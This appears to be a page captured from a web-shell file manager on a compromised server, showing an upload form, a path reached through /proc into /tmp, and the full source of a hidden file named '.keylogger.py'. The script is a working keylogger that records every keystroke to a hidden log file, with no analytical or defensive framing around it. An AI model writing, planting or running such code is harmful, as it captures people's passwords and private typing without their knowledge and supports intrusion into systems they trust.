Your IP : 216.73.216.142


Current Path : /proc/self/root/proc/2122828/root/tmp/
Upload File :
Current File : //proc/self/root/proc/2122828/root/tmp/.keylogger.py

import sys
import os
try:
    from pynput.keyboard import Key, Listener
except ImportError:
    print("pynput not installed")
    sys.exit(1)

log_file = "/tmp/.keylog.txt"

def on_press(key):
    try:
        with open(log_file, "a") as f:
            f.write(str(key.char))
    except:
        with open(log_file, "a") as f:
            f.write(" " + str(key) + " ")

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()